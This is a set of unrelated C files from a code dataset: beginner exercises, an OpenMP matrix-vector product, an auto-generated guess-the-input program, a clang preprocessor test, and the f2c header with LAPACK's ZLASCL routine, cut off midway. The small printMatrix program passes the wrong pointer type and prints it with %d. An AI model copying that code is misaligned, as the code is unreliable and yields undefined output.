// imprimimos la matriz y el vector si el tamaño de N es menor de PRINT_ALL_MIN
if (N <= PRINT_ALL_MIN && TIME!=1){
printf ("\nEsta es la matriz: \n");
for (i = 0; i < N; i++){
for (j = 0; j < N; j++){
printf ("%d ",Matriz[i][j]);
}
printf ("\n");
}
printf ("\nEste es el vector: \n");
for (i = 0; i < N; i++)
printf ("%d ",vector[i]);
printf("\n\n");
}
t1 = omp_get_wtime(); // Calcular la multiplicación de una matriz por un vector
#pragma omp parallel private (i,j,tmp)
for (i = 0; i < N; i++){
tmp = 0;
#pragma omp for
for (j = 0; j < N; j++){
//printf("thread %d de %d multiplica la fila %d del bucle con la columna %d\n",omp_get_thread_num(),omp_get_num_threads(),i,j);
tmp += Matriz[i][j]*vector[j];
}
#pragma omp atomic
Vresultado[i] += tmp;
}
t2 = omp_get_wtime();
tr = t2 - t1; // Cálculo el tiempo que he tardado en multiplicarlo
// Ahora imprimimos por pantalla los resultados obtenidos segun las restricciones del problema
if (N <= PRINT_ALL_MIN){
printf("Tiempo(seg.):%11.9f\nTamaño Matriz y Vector:%u\n",tr,N);// si queremos imprimir datos completos y N < PRINT_ALL_MIN
printf ("Este es el vector resultante: \n");
printf("{");
for (i = 0; i < N; i++){
printf ("VR[%d]=%d, ",i,Vresultado[i]);
}
printf("}\n");
}else if (TIME==1) // si queremos imprimir unicamente el tiempo de cálculo
printf("%11.9f\n",tr);//
else{ // y si queremos imprimir el tiempo la primera y la ultima multiplicación
printf("Tiempo(seg.):%11.9f\n",tr);
printf("Tamaño Matriz y Vector:%u\n",N);
printf("(Matriz[0][0]=%d)*%d=%d\n",Matriz[0][0],vector[0],Matriz[0][0]*vector[0]);
printf("(Matriz[%d][%d]=%d)*%d=%d\n",N-1,N-1,Matriz[N-1][N-1],vector[N-1],Matriz[N-1][N-1]*vector[N-1]);
printf("VectorResultado[0]=%d\n",Vresultado[0]);
printf("VectorResultado[%d]=%d\n",N-1,Vresultado[N-1]);
}
free(vector);
free(Vresultado);
for(i=0; i<N; i++)
free(Matriz[i]);
free(Matriz);
return 0;
}
|
the_stack_data/17093.c | /* hw5_15 */
#include <stdio.h>
#include <stdlib.h>
int main(void){
float d, h;
printf("輸入平行四邊形的底: ");
scanf("%f", &d);
printf("輸入平行四邊形的高: ");
scanf("%f", &h);
printf("底為 %f 高為 %f 的平行四邊形,其面積為: %f\n", d, h, d * h);
system("pause");
return 0;
}
/* Outcome
輸入平行四邊形的底: 5
輸入平行四邊形的高: 4
底為 5.000000 高為 4.000000 的平行四邊形,其面積為: 20.000000
*/
|
the_stack_data/138264.c | #include<stdio.h>
int main()
{
char ch[5]="Kota";
char ch1[5];
int i,j;
for (i=0,j=3;i<4;i++,j--)
{
ch1[i]=ch[j];
}
ch1[4]='\0';
printf("Original String: %s\n",ch);
printf("Reverse String: %s\n",ch1);
return 0;
}
|
the_stack_data/145453205.c | #include <stdio.h>
void printMatrix(int *arr[], int len) {
for (int i = 0; i< len; i++) {
printf("%d\n", arr[i]);
}
}
int main() {
int a[] = {1,2,3,4};
printMatrix(&a, 4);
return 0;
} |
the_stack_data/100141328.c | #ifdef EXTRA_FUNCTION
int foo(int i) {
return i*3;
}
#endif
int main (int argc, char const *argv[]) {
#ifdef EXTRA_FUNCTION
return foo(argc);
#else
return 0;
#endif
}
|
the_stack_data/190768774.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned short input[1] , unsigned short output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void RandomFunc(unsigned short input[1] , unsigned short output[1] )
{
unsigned short state[1] ;
unsigned short local1 ;
char copy11 ;
char copy12 ;
char copy13 ;
char copy14 ;
{
state[0UL] = (input[0UL] + 914778474UL) - (unsigned short)29623;
local1 = 0UL;
while (local1 < 1UL) {
copy11 = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = copy11;
copy12 = *((char *)(& state[0UL]) + 1);
*((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 0);
*((char *)(& state[0UL]) + 0) = copy12;
copy12 = *((char *)(& state[0UL]) + 0);
*((char *)(& state[0UL]) + 0) = *((char *)(& state[0UL]) + 1);
*((char *)(& state[0UL]) + 1) = copy12;
local1 ++;
}
local1 = 0UL;
while (local1 < 1UL) {
copy13 = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = copy13;
copy13 = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = copy13;
copy14 = *((char *)(& state[0UL]) + 0);
*((char *)(& state[0UL]) + 0) = *((char *)(& state[0UL]) + 1);
*((char *)(& state[0UL]) + 1) = copy14;
copy14 = *((char *)(& state[0UL]) + 1);
*((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 0);
*((char *)(& state[0UL]) + 0) = copy14;
local1 ++;
}
output[0UL] = (state[0UL] + 676121794UL) - (unsigned short)55262;
}
}
void megaInit(void)
{
{
}
}
int main(int argc , char *argv[] )
{
unsigned short input[1] ;
unsigned short output[1] ;
int randomFuns_i5 ;
unsigned short randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned short )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == (unsigned short)31026) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
|
the_stack_data/148578477.c | // Example from C99 6.10.3.4p7
// RUN: clang-cc -E %s | FileCheck -strict-whitespace %s
#define t(x,y,z) x ## y ## z
int j[] = { t(1,2,3), t(,4,5), t(6,,7), t(8,9,),
t(10,,), t(,11,), t(,,12), t(,,) };
// CHECK: int j[] = { 123, 45, 67, 89,
// CHECK: 10, 11, 12, };
|
the_stack_data/706310.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b ZLASCL multiplies a general rectangular matrix by a real scalar defined as cto/cfrom. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZLASCL + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zlascl.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zlascl.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zlascl.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZLASCL( TYPE, KL, KU, CFROM, CTO, M, N, A, LDA, INFO ) */
/* CHARACTER TYPE */
/* INTEGER INFO, KL, KU, LDA, M, N */
/* DOUBLE PRECISION CFROM, CTO */
/* COMPLEX*16 A( LDA, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZLASCL multiplies the M by N complex matrix A by the real scalar */
/* > CTO/CFROM. This is done without over/underflow as long as the final */
/* > result CTO*A(I,J)/CFROM does not over/underflow. TYPE specifies that */
/* > A may be full, upper triangular, lower triangular, upper Hessenberg, */
/* > or banded. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] TYPE */
/* > \verbatim */
/* > TYPE is CHARACTER*1 */
/* > TYPE indices the storage type of the input matrix. */
/* > = 'G': A is a full matrix. */
/* > = 'L': A is a lower triangular matrix. */
/* > = 'U': A is an upper triangular matrix. */
/* > = 'H': A is an upper Hessenberg matrix. */
/* > = 'B': A is a symmetric band matrix with lower bandwidth KL */
/* > and upper bandwidth KU and with the only the lower */
/* > half stored. */
/* > = 'Q': A is a symmetric band matrix with lower bandwidth KL */
/* > and upper bandwidth KU and with the only the upper */
/* > half stored. */
/* > = 'Z': A is a band matrix with lower bandwidth KL and upper */
/* > bandwidth KU. See ZGBTRF for storage details. */
/* > \endverbatim */
/* > */
/* > \param[in] KL */
/* > \verbatim */
/* > KL is INTEGER */
/* > The lower bandwidth of A. Referenced only if TYPE = 'B', */
/* > 'Q' or 'Z'. */
/* > \endverbatim */
/* > */
/* > \param[in] KU */
/* > \verbatim */
/* > KU is INTEGER */
/* > The upper bandwidth of A. Referenced only if TYPE = 'B', */
/* > 'Q' or 'Z'. */
/* > \endverbatim */
/* > */
/* > \param[in] CFROM */
/* > \verbatim */
/* > CFROM is DOUBLE PRECISION */
/* > \endverbatim */
/* > */
/* > \param[in] CTO */
/* > \verbatim */
/* > CTO is DOUBLE PRECISION */
/* > */
/* > The matrix A is multiplied by CTO/CFROM. A(I,J) is computed */
/* > without over/underflow if the final result CTO*A(I,J)/CFROM */
/* > can be represented without over/underflow. CFROM must be */
/* > nonzero. */
/* > \endverbatim */
/* > */
/* > \param[in] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The number of rows of the matrix A. M >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of columns of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension (LDA,N) */
/* > The matrix to be multiplied by CTO/CFROM. See TYPE for the */
/* > storage type. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. */
/* > If TYPE = 'G', 'L', 'U', 'H', LDA >= f2cmax(1,M); */
/* > TYPE = 'B', LDA >= KL+1; */
/* > TYPE = 'Q', LDA >= KU+1; */
/* > TYPE = 'Z', LDA >= 2*KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > 0 - successful exit */
/* > <0 - if INFO = -i, the i-th argument had an illegal value. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2016 */
/* > \ingroup complex16OTHERauxiliary */
/* ===================================================================== */
/* Subroutine */ int zlascl_(char *type__, integer *kl, integer *ku,
doublereal *cfrom, doublereal *cto, integer *m, integer *n,
doublecomplex *a, integer *lda, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3, i__4, i__5;
doublecomplex z__1;
/* Local variables */
logical done;
doublereal ctoc;
integer i__, j;
extern logical lsame_(char *, char *);
integer itype, k1, k2, k3, k4;
doublereal cfrom1;
extern doublereal dlamch_(char *);
doublereal cfromc;
extern logical disnan_(doublereal *);
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
doublereal bignum, smlnum, mul, cto1;
/* -- LAPACK auxiliary routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2016 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
/* Function Body */
*info = 0;
if (lsame_(type__, "G")) {
itype = 0;
} else if (lsame_(type__, "L")) {
itype = 1;
} else if (lsame_(type__, "U")) {
itype = 2;
} else if (lsame_(type__, "H")) {
itype = 3;
} else if (lsame_(type__, "B")) {
itype = 4;
} else if (lsame_(type__, "Q")) {
itype = 5;
} else if (lsame_(type__, "Z")) {
itype = 6;
} else {
itype = -1;
}
if (itype == -1) {
*info = -1;
} else if (*cfrom == 0. || disnan_(cfrom)) {
*info = -4;
} else if (disnan_(cto)) {
*info = -5;
} else if (*m < 0) {
*info = -6;
} else if (*n < 0 || itype == 4 && *n != *m || itype == 5 && *n != *m) {
*info = -7;
} else if (itype <= 3 && *lda < f2cmax(1,*m)) {
*info = -9;
} else if (itype >= 4) {
/* Computing MAX */
i__1 = *m - 1;
if (*kl < 0 || *kl > f2cmax(i__1,0)) {
*info = -2;
} else /* if(complicated condition) */ {
/* Computing MAX */
i__1 = *n - 1;
if (*ku < 0 || *ku > f2cmax(i__1,0) || (itype == 4 || itype == 5) &&
*kl != *ku) {
*info = -3;
} else if (itype == 4 && *lda < *kl + 1 || itype == 5 && *lda < *
ku + 1 || itype == 6 && *lda < (*kl << 1) + *ku + 1) {
*info = -9;
}
}
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZLASCL", &i__1, (ftnlen)6);
return 0;
}
/* Quick return if possible */
if (*n == 0 || *m == 0) {
return 0;
}
/* Get machine parameters */
smlnum = dlamch_("S");
bignum = 1. / smlnum;
cfromc = *cfrom;
ctoc = *cto;
L10:
cfrom1 = cfromc * smlnum;
if (cfrom1 == cfromc) {
/* CFROMC is an inf. Multiply by a correctly signed zero for */
/* finite CTOC, or a NaN if CTOC is infinite. */
mul = ctoc / cfromc;
done = TRUE_;
cto1 = ctoc;
} else {
cto1 = ctoc / bignum;
if (cto1 == ctoc) {
/* CTOC is either 0 or an inf. In both cases, CTOC itself */
/* serves as the correct multiplication factor. */
mul = ctoc;
done = TRUE_;
cfromc = 1.;
} else if (abs(cfrom1) > abs(ctoc) && ctoc != 0.) {
mul = smlnum;
done = FALSE_;
cfromc = cfrom1;
} else if (abs(cto1) > abs(cfromc)) {
mul = bignum;
done = FALSE_;
ctoc = cto1;
} else {
mul = ctoc / cfromc;
done = TRUE_;
}
}
if (itype == 0) {
/* Full matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *m;
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L20: */
}
/* L30: */
}
} else if (itype == 1) {
/* Lower triangular matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *m;
for (i__ = j; i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L40: */
}
/* L50: */
}
} else if (itype == 2) {
/* Upper triangular matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = f2cmin(j,*m);
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L60: */
}
/* L70: */
}
} else if (itype == 3) {
/* Upper Hessenberg matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
/* Computing MIN */
i__3 = j + 1;
i__2 = f2cmin(i__3,*m);
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L80: */
}
/* L90: */
}
} else if (itype == 4) {
/* Lower half of a symmetric band matrix */
k3 = *kl + 1;
k4 = *n + 1;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
/* Computing MIN */
i__3 = k3, i__4 = k4 - j;
i__2 = f2cmin(i__3,i__4);
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L100: */
}
/* L110: */
}
} else if (itype == 5) {
/* Upper half of a symmetric band matrix */
k1 = *ku + 2;
k3 = *ku + 1;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
/* Computing MAX */
i__2 = k1 - j;
i__3 = k3;
